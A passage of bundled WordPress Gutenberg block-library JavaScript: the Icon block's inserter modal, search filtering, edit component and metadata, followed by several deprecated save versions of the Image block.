      return patterns;
    }
    const rankedPatterns = patterns.map((pattern) =&gt; {
      return [pattern, getPatternSearchRank(pattern, searchValue)];
    }).filter(([, rank]) =&gt; rank &gt; 0);
    rankedPatterns.sort(([, rank1], [, rank2]) =&gt; rank2 - rank1);
    return rankedPatterns.map(([pattern]) =&gt; pattern);
  }

  // packages/block-library/build-module/icon/components/custom-inserter/index.mjs
  var import_jsx_runtime273 = __toESM(require_jsx_runtime(), 1);
  function CustomInserterModal({
    icons = [],
    setInserterOpen,
    attributes: attributes2,
    setAttributes
  }) {
    const [searchInput, setSearchInput] = (0, import_element41.useState)(&quot;&quot;);
    const debouncedSetSearchInput = (0, import_compose21.useDebounce)(setSearchInput, 300);
    const setIcon = (0, import_element41.useCallback)(
      (name123) =&gt; {
        setAttributes({
          icon: name123
        });
        setInserterOpen(false);
      },
      [setAttributes, setInserterOpen]
    );
    const filteredIcons = (0, import_element41.useMemo)(() =&gt; {
      if (searchInput) {
        const input = normalizeSearchInput(searchInput);
        return icons.filter((icon4) =&gt; {
          const iconName = normalizeSearchInput(icon4.name);
          const iconLabel = normalizeSearchInput(icon4.label);
          return iconName.includes(input) || iconLabel.includes(input);
        });
      }
      return icons;
    }, [searchInput, icons]);
    return /* @__PURE__ */ (0, import_jsx_runtime273.jsx)(
      import_components51.Modal,
      {
        className: &quot;wp-block-icon__inserter-modal&quot;,
        title: (0, import_i18n90.__)(&quot;Icon library&quot;),
        onRequestClose: () =&gt; setInserterOpen(false),
        isFullScreen: true,
        children: /* @__PURE__ */ (0, import_jsx_runtime273.jsxs)(&quot;div&quot;, { className: &quot;wp-block-icon__inserter&quot;, children: [
          /* @__PURE__ */ (0, import_jsx_runtime273.jsx)(&quot;div&quot;, { className: &quot;wp-block-icon__inserter-header&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime273.jsx)(
            import_components51.SearchControl,
            {
              value: searchInput,
              onChange: debouncedSetSearchInput
            }
          ) }),
          /* @__PURE__ */ (0, import_jsx_runtime273.jsx)(
            IconGrid,
            {
              icons: filteredIcons,
              onChange: setIcon,
              attributes: attributes2
            }
          )
        ] })
      }
    );
  }

  // packages/block-library/build-module/icon/edit.mjs
  var import_jsx_runtime274 = __toESM(require_jsx_runtime(), 1);
  var IconPlaceholder = ({ className, style: style2 }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime274.jsxs)(
    import_primitives162.SVG,
    {
      xmlns: &quot;http://www.w3.org/2000/svg&quot;,
      viewBox: &quot;0 0 60 60&quot;,
      preserveAspectRatio: &quot;none&quot;,
      fill: &quot;none&quot;,
      &quot;aria-hidden&quot;: &quot;true&quot;,
      className: clsx_default(&quot;wp-block-icon__placeholder&quot;, className),
      style: style2,
      children: [
        /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(import_primitives162.Rect, { width: &quot;60&quot;, height: &quot;60&quot;, fill: &quot;currentColor&quot;, fillOpacity: 0.1 }),
        /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
          import_primitives162.Path,
          {
            vectorEffect: &quot;non-scaling-stroke&quot;,
            stroke: &quot;currentColor&quot;,
            strokeOpacity: 0.25,
            d: &quot;M60 60 0 0&quot;
          }
        )
      ]
    }
  );
  function Edit16({ attributes: attributes2, setAttributes }) {
    const { icon: icon4, ariaLabel } = attributes2;
    const [isInserterOpen, setInserterOpen] = (0, import_element42.useState)(false);
    const isContentOnlyMode = (0, import_block_editor109.useBlockEditingMode)() === &quot;contentOnly&quot;;
    const colorProps = (0, import_block_editor109.__experimentalUseColorProps)(attributes2);
    const spacingProps = (0, import_block_editor109.__experimentalGetSpacingClassesAndStyles)(attributes2);
    const borderProps = (0, import_block_editor109.__experimentalUseBorderProps)(attributes2);
    const dimensionsProps = (0, import_block_editor109.getDimensionsClassesAndStyles)(attributes2);
    const { selectedIcon, allIcons = [] } = (0, import_data45.useSelect)(
      (select9) =&gt; {
        const { getEntityRecord, getEntityRecords } = select9(import_core_data22.store);
        return {
          selectedIcon: icon4 ? getEntityRecord(&quot;root&quot;, &quot;icon&quot;, icon4) : null,
          allIcons: isInserterOpen ? getEntityRecords(&quot;root&quot;, &quot;icon&quot;, {
            per_page: -1
          }) : void 0
        };
      },
      [isInserterOpen, icon4]
    );
    const iconToDisplay = selectedIcon?.content || &quot;&quot;;
    const blockControls = /* @__PURE__ */ (0, import_jsx_runtime274.jsxs)(import_jsx_runtime274.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(import_block_editor109.BlockControls, { group: isContentOnlyMode ? &quot;inline&quot; : &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
        import_components52.ToolbarButton,
        {
          onClick: () =&gt; {
            setInserterOpen(true);
          },
          children: icon4 ? (0, import_i18n91.__)(&quot;Replace&quot;) : (0, import_i18n91.__)(&quot;Choose icon&quot;)
        }
      ) }),
      isContentOnlyMode &amp;&amp; icon4 &amp;&amp; // Add some extra controls for content attributes when content only mode is active.
      // With content only mode active, the inspector is hidden, so users need another way
      // to edit these attributes.
      /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(import_block_editor109.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(import_components52.ToolbarGroup, { className: &quot;components-toolbar-group&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
        import_components52.DropdownMenu,
        {
          icon: &quot;&quot;,
          popoverProps: {
            className: &quot;is-alternate&quot;
          },
          text: (0, import_i18n91.__)(&quot;Label&quot;),
          children: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
            import_components52.TextControl,
            {
              className: &quot;wp-block-icon__toolbar-content&quot;,
              label: (0, import_i18n91.__)(&quot;Label&quot;),
              value: ariaLabel || &quot;&quot;,
              onChange: (value) =&gt; setAttributes({ ariaLabel: value }),
              help: (0, import_i18n91.__)(
                &quot;Briefly describe the icon to help screen reader users. Leave blank for decorative icons.&quot;
              ),
              __next40pxDefaultSize: true
            }
          )
        }
      ) }) })
    ] });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const inspectorControls = icon4 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(import_jsx_runtime274.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(import_block_editor109.InspectorControls, { group: &quot;settings&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
      import_components52.__experimentalToolsPanel,
      {
        label: (0, import_i18n91.__)(&quot;Settings&quot;),
        resetAll: () =&gt; setAttributes({
          ariaLabel: void 0
        }),
        dropdownMenuProps,
        children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
          import_components52.__experimentalToolsPanelItem,
          {
            label: (0, import_i18n91.__)(&quot;Label&quot;),
            isShownByDefault: true,
            hasValue: () =&gt; !!ariaLabel,
            onDeselect: () =&gt; setAttributes({ ariaLabel: void 0 }),
            children: /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
              import_components52.TextControl,
              {
                label: (0, import_i18n91.__)(&quot;Label&quot;),
                help: (0, import_i18n91.__)(
                  &quot;Briefly describe the icon to help screen reader users. Leave blank for decorative icons.&quot;
                ),
                value: ariaLabel || &quot;&quot;,
                onChange: (value) =&gt; setAttributes({ ariaLabel: value }),
                __next40pxDefaultSize: true
              }
            )
          }
        )
      }
    ) }) });
    return /* @__PURE__ */ (0, import_jsx_runtime274.jsxs)(import_jsx_runtime274.Fragment, { children: [
      blockControls,
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(&quot;div&quot;, { ...(0, import_block_editor109.useBlockProps)(), children: icon4 ? /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
        html_renderer_default,
        {
          html: iconToDisplay,
          wrapperProps: {
            className: clsx_default(
              colorProps.className,
              borderProps.className,
              spacingProps.className,
              dimensionsProps.className
            ),
            style: {
              ...colorProps.style,
              ...borderProps.style,
              ...spacingProps.style,
              ...dimensionsProps.style
            }
          }
        }
      ) : /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
        IconPlaceholder,
        {
          className: clsx_default(
            borderProps.className,
            spacingProps.className,
            dimensionsProps.className
          ),
          style: {
            ...borderProps.style,
            ...spacingProps.style,
            ...dimensionsProps.style,
            height: &quot;auto&quot;
          }
        }
      ) }),
      isInserterOpen &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(
        CustomInserterModal,
        {
          icons: allIcons,
          setInserterOpen,
          attributes: attributes2,
          setAttributes
        }
      )
    ] });
  }
  var edit_default17 = Edit16;

  // packages/block-library/build-module/icon/block.json
  var block_default43 = {
    apiVersion: 3,
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    name: &quot;core/icon&quot;,
    title: &quot;Icon&quot;,
    category: &quot;media&quot;,
    description: &quot;Insert an SVG icon.&quot;,
    keywords: [&quot;icon&quot;, &quot;svg&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      icon: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      }
    },
    supports: {
      anchor: true,
      ariaLabel: {
        __experimentalSkipSerialization: true
      },
      align: [&quot;left&quot;, &quot;center&quot;, &quot;right&quot;],
      html: false,
      color: {
        background: true,
        text: true,
        __experimentalSkipSerialization: true
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: false,
          radius: false,
          style: false,
          width: false
        }
      },
      spacing: {
        padding: true,
        margin: true,
        __experimentalSkipSerialization: [&quot;padding&quot;],
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      dimensions: {
        width: true,
        __experimentalSkipSerialization: [&quot;width&quot;],
        __experimentalDefaultControls: {
          width: true
        }
      }
    },
    selectors: {
      root: &quot;.wp-block-icon svg&quot;,
      css: &quot;.wp-block-icon&quot;,
      spacing: {
        margin: &quot;.wp-block-icon&quot;
      }
    },
    style: &quot;wp-block-icon&quot;,
    editorStyle: &quot;wp-block-icon-editor&quot;
  };

  // packages/block-library/build-module/icon/icon.mjs
  var import_components54 = __toESM(require_components(), 1);
  var import_jsx_runtime275 = __toESM(require_jsx_runtime(), 1);
  var icon3 = /* @__PURE__ */ (0, import_jsx_runtime275.jsx)(import_components54.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, width: &quot;24&quot;, height: &quot;24&quot;, fill: &quot;none&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime275.jsx)(import_components54.Path, { d: &quot;M6 9.5h3.5V6H6v3.5Zm5 .5a1 1 0 0 1-.898.995L10 11H5.5l-.103-.005a1 1 0 0 1-.892-.893L4.5 10V5.5a1 1 0 0 1 1-1H10a1 1 0 0 1 1 1V10ZM18.25 7.75a2 2 0 1 0-4 0 2 2 0 0 0 4 0Zm1.5 0a3.5 3.5 0 1 1-7 0 3.5 3.5 0 0 1 7 0ZM6.88 13.535a1 1 0 0 1 1.74 0l2.534 4.472a1 1 0 0 1-.87 1.493H5.216a1 1 0 0 1-.87-1.493l2.534-4.472ZM6.074 18h3.352L7.75 15.041l-1.676 2.96ZM14.952 13h2.596a1 1 0 0 1 .866.5l1.298 2.25a1 1 0 0 1 0 1L18.414 19l-.074.11a1 1 0 0 1-.792.39h-2.596a1 1 0 0 1-.792-.39l-.074-.11-1.298-2.25a1.001 1.001 0 0 1 0-1l1.298-2.25a1 1 0 0 1 .866-.5Zm-.72 3.25 1.01 1.75h2.017l1.009-1.75-1.01-1.75h-2.017l-1.01 1.75Z&quot; }) });
  var icon_default2 = icon3;

  // packages/block-library/build-module/icon/index.mjs
  var { name: name43 } = block_default43;
  var settings43 = {
    icon: icon_default2,
    example: {
      attributes: {
        icon: &quot;core/audio&quot;,
        style: {
          dimensions: {
            width: &quot;48px&quot;
          }
        }
      }
    },
    edit: edit_default17
  };
  var init43 = () =&gt; initBlock({ name: name43, metadata: block_default43, settings: settings43 });

  // packages/block-library/build-module/image/index.mjs
  var image_exports = {};
  __export(image_exports, {
    init: () =&gt; init44,
    metadata: () =&gt; block_default44,
    name: () =&gt; name44,
    settings: () =&gt; settings44
  });
  var import_i18n95 = __toESM(require_i18n(), 1);
  var import_blocks40 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/image/deprecated.mjs
  var import_block_editor110 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime276 = __toESM(require_jsx_runtime(), 1);
  var v119 = {
    attributes: {
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;src&quot;
      },
      alt: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;alt&quot;,
        default: &quot;&quot;
      },
      caption: {
        type: &quot;array&quot;,
        source: &quot;children&quot;,
        selector: &quot;figcaption&quot;
      },
      href: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;href&quot;
      },
      id: {
        type: &quot;number&quot;
      },
      align: {
        type: &quot;string&quot;
      },
      width: {
        type: &quot;number&quot;
      },
      height: {
        type: &quot;number&quot;
      }
    },
    save({ attributes: attributes2 }) {
      const { url, alt, caption, align, href, width, height } = attributes2;
      const extraImageProps = width || height ? { width, height } : {};
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(&quot;img&quot;, { src: url, alt, ...extraImageProps });
      let figureStyle = {};
      if (width) {
        figureStyle = { width };
      } else if (align === &quot;left&quot; || align === &quot;right&quot;) {
        figureStyle = { maxWidth: &quot;50%&quot; };
      }
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(
        &quot;figure&quot;,
        {
          className: align ? `align${align}` : null,
          style: figureStyle,
          children: [
            href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(&quot;a&quot;, { href, children: image }) : image,
            !import_block_editor110.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(import_block_editor110.RichText.Content, { tagName: &quot;figcaption&quot;, value: caption })
          ]
        }
      );
    }
  };
  var v210 = {
    attributes: {
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;src&quot;
      },
      alt: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;alt&quot;,
        default: &quot;&quot;
      },
      caption: {
        type: &quot;array&quot;,
        source: &quot;children&quot;,
        selector: &quot;figcaption&quot;
      },
      href: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;href&quot;
      },
      id: {
        type: &quot;number&quot;
      },
      align: {
        type: &quot;string&quot;
      },
      width: {
        type: &quot;number&quot;
      },
      height: {
        type: &quot;number&quot;
      }
    },
    save({ attributes: attributes2 }) {
      const { url, alt, caption, align, href, width, height, id } = attributes2;
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        &quot;img&quot;,
        {
          src: url,
          alt,
          className: id ? `wp-image-${id}` : null,
          width,
          height
        }
      );
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(&quot;figure&quot;, { className: align ? `align${align}` : null, children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(&quot;a&quot;, { href, children: image }) : image,
        !import_block_editor110.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(import_block_editor110.RichText.Content, { tagName: &quot;figcaption&quot;, value: caption })
      ] });
    }
  };
  var v35 = {
    attributes: {
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;src&quot;
      },
      alt: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;alt&quot;,
        default: &quot;&quot;
      },
      caption: {
        type: &quot;array&quot;,
        source: &quot;children&quot;,
        selector: &quot;figcaption&quot;
      },
      href: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;href&quot;
      },
      id: {
        type: &quot;number&quot;
      },
      align: {
        type: &quot;string&quot;
      },
      width: {
        type: &quot;number&quot;
      },
      height: {
        type: &quot;number&quot;
      },
      linkDestination: {
        type: &quot;string&quot;,
        default: &quot;none&quot;
      }
    },
    save({ attributes: attributes2 }) {
      const { url, alt, caption, align, href, width, height, id } = attributes2;
      const classes = clsx_default({
        [`align${align}`]: align,
        &quot;is-resized&quot;: width || height
      });
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        &quot;img&quot;,
        {
          src: url,
          alt,
          className: id ? `wp-image-${id}` : null,
          width,
          height
        }
      );
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(&quot;figure&quot;, { className: classes, children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(&quot;a&quot;, { href, children: image }) : image,
        !import_block_editor110.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(import_block_editor110.RichText.Content, { tagName: &quot;figcaption&quot;, value: caption })
      ] });
    }
  };
  var v44 = {
    attributes: {
      align: {
        type: &quot;string&quot;
      },
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;src&quot;
      },
      alt: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;alt&quot;,
        default: &quot;&quot;
      },
      caption: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;figcaption&quot;
      },
      title: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;title&quot;
      },
      href: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;href&quot;
      },
      rel: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;rel&quot;
      },
      linkClass: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;class&quot;
      },
      id: {
        type: &quot;number&quot;
      },
      width: {
        type: &quot;number&quot;
      },
      height: {
        type: &quot;number&quot;
      },
      sizeSlug: {
        type: &quot;string&quot;
      },
      linkDestination: {
        type: &quot;string&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;target&quot;
      }
    },
    supports: {
      anchor: true
    },
    save({ attributes: attributes2 }) {
      const {
        url,
        alt,
        caption,
        align,
        href,
        rel,
        linkClass,
        width,
        height,
        id,
        linkTarget,
        sizeSlug,
        title
      } = attributes2;
      const newRel = !rel ? void 0 : rel;
      const classes = clsx_default({
        [`align${align}`]: align,
        [`size-${sizeSlug}`]: sizeSlug,
        &quot;is-resized&quot;: width || height
      });
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        &quot;img&quot;,
        {
          src: url,
          alt,
          className: id ? `wp-image-${id}` : null,
          width,
          height,
          title
        }
      );
      const figure = /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(import_jsx_runtime276.Fragment, { children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          &quot;a&quot;,
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        ) : image,
        !import_block_editor110.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(import_block_editor110.RichText.Content, { tagName: &quot;figcaption&quot;, value: caption })
      ] });
      if (&quot;left&quot; === align || &quot;right&quot; === align || &quot;center&quot; === align) {
        return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(&quot;div&quot;, { ...import_block_editor110.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(&quot;figure&quot;, { className: classes, children: figure }) });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(&quot;figure&quot;, { ...import_block_editor110.useBlockProps.save({ className: classes }), children: figure });
    }
  };
  var v54 = {
    attributes: {
      align: {
        type: &quot;string&quot;
      },
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;src&quot;
      },
      alt: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;alt&quot;,
        default: &quot;&quot;
      },
      caption: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;figcaption&quot;
      },
      title: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;title&quot;
      },
      href: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;href&quot;
      },
      rel: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;rel&quot;
      },
      linkClass: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;class&quot;
      },
      id: {
        type: &quot;number&quot;
      },
      width: {
        type: &quot;number&quot;
      },
      height: {
        type: &quot;number&quot;
      },
      sizeSlug: {
        type: &quot;string&quot;
      },
      linkDestination: {
        type: &quot;string&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;target&quot;
      }
    },
    supports: {
      anchor: true,
      color: {
        __experimentalDuotone: &quot;img&quot;,
        text: false,
        background: false
      },
      __experimentalBorder: {
        radius: true,
        __experimentalDefaultControls: {
          radius: true
        }
      },
      __experimentalStyle: {
        spacing: {
          margin: &quot;0 0 1em 0&quot;
        }
      }
    },
    save({ attributes: attributes2 }) {
      const {
        url,
        alt,
        caption,
        align,
        href,
        rel,
        linkClass,
        width,
        height,
        id,
        linkTarget,
        sizeSlug,
        title
      } = attributes2;
      const newRel = !rel ? void 0 : rel;
      const classes = clsx_default({
        [`align${align}`]: align,
        [`size-${sizeSlug}`]: sizeSlug,
        &quot;is-resized&quot;: width || height
      });
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        &quot;img&quot;,
        {
          src: url,
          alt,
          className: id ? `wp-image-${id}` : null,
          width,
          height,
          title
        }
      );
      const figure = /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(import_jsx_runtime276.Fragment, { children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          &quot;a&quot;,
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        ) : image,
        !import_block_editor110.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(import_block_editor110.RichText.Content, { tagName: &quot;figcaption&quot;, value: caption })
      ] });
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(&quot;figure&quot;, { ...import_block_editor110.useBlockProps.save({ className: classes }), children: figure });
    }
  };
  var v64 = {
    attributes: {
      align: {
        type: &quot;string&quot;
      },
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;src&quot;,
        role: &quot;content&quot;
      },
      alt: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;alt&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      caption: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;figcaption&quot;,
        role: &quot;content&quot;
      },
      title: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;title&quot;,
        role: &quot;content&quot;
      },
      href: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;href&quot;,
        role: &quot;content&quot;
      },
      rel: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;rel&quot;
      },
      linkClass: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;class&quot;
      },
      id: {
        type: &quot;number&quot;,
        role: &quot;content&quot;
      },
      width: {
        type: &quot;number&quot;
      },
      height: {
        type: &quot;number&quot;
      },
      aspectRatio: {
        type: &quot;string&quot;
      },
      scale: {
        type: &quot;string&quot;
      },
      sizeSlug: {
        type: &quot;string&quot;
      },
      linkDestination: {
        type: &quot;string&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;target&quot;
      }
    },
    supports: {
      anchor: true,
      color: {
        text: false,
        background: false
      },
      filter: {
        duotone: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          width: true
        }
      }
    },
    migrate(attributes2) {
      const { height, width } = attributes2;
      return {
        ...attributes2,
        width: typeof width === &quot;number&quot; ? `${width}px` : width,
        height: typeof height === &quot;number&quot; ? `${height}px` : height
      };
    },
    save({ attributes: attributes2 }) {
      const {
        url,
        alt,
        caption,
        align,
        href,
        rel,
        linkClass,
        width,
        height,
        aspectRatio,
        scale,
        id,
        linkTarget,
        sizeSlug,
        title
      } = attributes2;
      const newRel = !rel ? void 0 : rel;
      const borderProps = (0, import_block_editor110.__experimentalGetBorderClassesAndStyles)(attributes2);
      const classes = clsx_default({
        [`align${align}`]: align,
        [`size-${sizeSlug}`]: sizeSlug,
        &quot;is-resized&quot;: width || height,
        &quot;has-custom-border&quot;: !!borderProps.className || borderProps.style &amp;&amp; Object.keys(borderProps.style).length &gt; 0
      });
      const imageClasses = clsx_default(borderProps.className, {
        [`wp-image-${id}`]: !!id
      });
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        &quot;img&quot;,
        {
          src: url,
          alt,
          className: imageClasses || void 0,
          style: {
            ...borderProps.style,
            aspectRatio,
            objectFit: scale
          },
          width,
          height,
          title
        }
      );
      const figure = /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(import_jsx_runtime276.Fragment, { children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          &quot;a&quot;,
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        ) : image,
        !import_block_editor110.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          import_block_editor110.RichText.Content,
          {
            className: (0, import_block_editor110.__experimentalGetElementClassName)(
              &quot;caption&quot;
            ),
            tagName: &quot;figcaption&quot;,
            value: caption
          }
        )
      ] });
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(&quot;figure&quot;, { ...import_block_editor110.useBlockProps.save({ className: classes }), children: figure });
    }
  };
  var v73 = {
    attributes: {
      align: {
        type: &quot;string&quot;
      },
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;src&quot;,
        role: &quot;content&quot;
      },
      alt: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;alt&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      caption: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;figcaption&quot;,
        role: &quot;content&quot;
      },
      title: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;title&quot;,
        role: &quot;content&quot;
      },
      href: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;href&quot;,
        role: &quot;content&quot;
      },
      rel: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;rel&quot;
      },
      linkClass: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;class&quot;
      },
      id: {
        type: &quot;number&quot;,
        role: &quot;content&quot;
      },
      width: {
        type: &quot;number&quot;
      },
      height: {
        type: &quot;number&quot;
      },
      aspectRatio: {
        type: &quot;string&quot;
      },
      scale: {
        type: &quot;string&quot;
      },
      sizeSlug: {
        type: &quot;string&quot;
      },
      linkDestination: {
        type: &quot;string&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;target&quot;
      }
    },
    supports: {
      anchor: true,
      color: {
        text: false,
        background: false
      },
      filter: {
        duotone: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          width: true
        }
      }
    },
    migrate({ width, height, ...attributes2 }) {
      return {
        ...attributes2,
        width: `${width}px`,
        height: `${height}px`
      };
    },
    save({ attributes: attributes2 }) {
      const {
        url,
        alt,
        caption,
        align,
        href,
        rel,
        linkClass,
        width,
        height,
        aspectRatio,
        scale,
        id,
        linkTarget,
        sizeSlug,
        title
      } = attributes2;
      const newRel = !rel ? void 0 : rel;
      const borderProps = (0, import_block_editor110.__experimentalGetBorderClassesAndStyles)(attributes2);
      const classes = clsx_default({
        [`align${align}`]: align,
